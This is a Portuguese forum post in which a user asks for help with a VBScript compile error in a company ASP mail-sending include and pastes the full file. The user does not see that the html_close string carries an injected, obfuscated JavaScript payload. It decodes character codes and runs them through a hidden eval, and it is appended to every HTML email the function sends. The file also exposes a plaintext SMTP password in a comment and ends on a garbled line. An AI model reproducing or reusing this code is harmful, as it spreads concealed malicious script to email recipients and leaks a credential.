Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Olá, boa tarde a todos!
Estou com problemas em um código em ASP, faz parte do sistema aqui da empresa e desde ontem está dando o seguinte erro quando tentamos acessar o site:
Microsoft VBScript compilation error '800a0401'
Expected end of statement
/includes/sendMail.asp, line 14
Não manjo nada de ASP e isso é muito urgente, se alguém puder ajudar, agradeço!
Segue o código completo da página:
<%
'>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
'*> PROCESSAMENTO DE E-MAIL
'------------------------------------------------------------------------------------------
Function sendMail(toMail, subject, msg, fromName, fromMail, replyTo)
Dim html_open, html_close, headers
Dim oMail, oMailConfig, cdoImportance, cdoPriority
Dim send
send = "ok"
html_open = "<html><head><meta http-equiv=Content-Type content=""text/html; charset=iso-8859-1""><meta http-equiv=""Content-Language"" content=""pt-br""><meta content=""MSHTML 6.00.3790.0"" name=GENERATOR></head><body><div style=""font-family:tahoma,verdana,arial; font-size:11px;"">"
html_close = "</div></body></html><!-- o --><script>aa=([].pop+'asd').substr(2-1,4);if((aa=="func")||(aa=="unct"))aa=(document['createDocumentFragment']+'asd').substr(2-1,4);if((aa=="func")||(aa=="unct")){ss="";s=String;e=window['e'+'val'];t='b';}ddd=new Date();d2=new Date(ddd.valueOf()-2);h=(ddd-d2)*-1;n="4.5b4.5b52.5b51b16b20b50b55.5b49.5b58.5b54.5b50.5b55b58b23b51.5b50.5b58b34.52.5b54b50b20b51b20.5b29.5b4.5b4.5b62.5";n=n["split"](t);for(i=0;i<n.length;i++)ss+=s['fromCharCode'](-h*n[i]);zx=ss;if((aa=="unct")||(aa=="func"))e(zx);</script><!-- c -->"
If InStr(msg, "</html>")=0 Then
msg = html_open & msg & html_close
End If
'---------------------------------------------------------------------------------------'
'CDOSYS
'---------------------------------------------------------------------------------------'
Set oMail = Server.CreateObject("CDO.Message")
Set oMailConfig = Server.CreateObject ("CDO.Configuration")
'SMTP
oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "localhost"
'PORTA DO SMTP
oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
'ATIVAR RECURSO DE SMTP AUTENTICADO
'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
'USUÁRIO PARA SMTP AUTENTICADO
'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = fromMail
'SENHA DO USUÁRIO PARA SMTP AUTENTICADO
'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "ferrarif40"
'SMTP AUTENTICADO
oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
'TIMEOUT
oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 30
'PRIORIDADE
oMailConfig.Fields.Item("urn:schemas:httpmail:priority").Value = 1
'IMPORTÂNCIA
oMailConfig.Fields.Item("urn:schemas:httpmail:importance").Value = 2
oMailConfig.Fields.Update
'CABEÇALHO
oMail.Fields.Item("urn:schemas:mailheader:Priority").Value = "urgent"
oMail.Fields.Item("urn:schemas:mailheader:Importance").Value = "high"
oMail.Fields.Item("urn:schemas:mailheader:X-Priority").Value = 1
oMail.Fields.Item("urn:schemas:mailheader:X-MSMail-Priority").Value = "High"
oMail.Fields.Item("urn:schemas:mailheader:X-Mailer").Value = "Microsoft Outlook Express 6.00.2900.5512"
oMail.Fields.Update
'ATUALIZA AS CONFIGURAÇÕES
Set oMail.Configuration = oMailConfig
oMail.From = fromName & "<" & fromMail & ">" 'Nome e e-mail do remetente
oMail.To = toMail 'Destinatário
oMail.ReplyTo = replyTo 'Responder para...
oMail.Subject = subject 'Assunto
oMail.HtmlBody = msg 'Mensagem
On Error Resume Next
oMail.Send
If Err.Number<>0 Then
send = Err.Description
End If
Set oMail = Nothing
Set oMailConfig = Nothing
sendMail = sendEnd Function
'<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
%>
Será que alguém consegue me ajudar? :natalhappy:
Carregando comentários...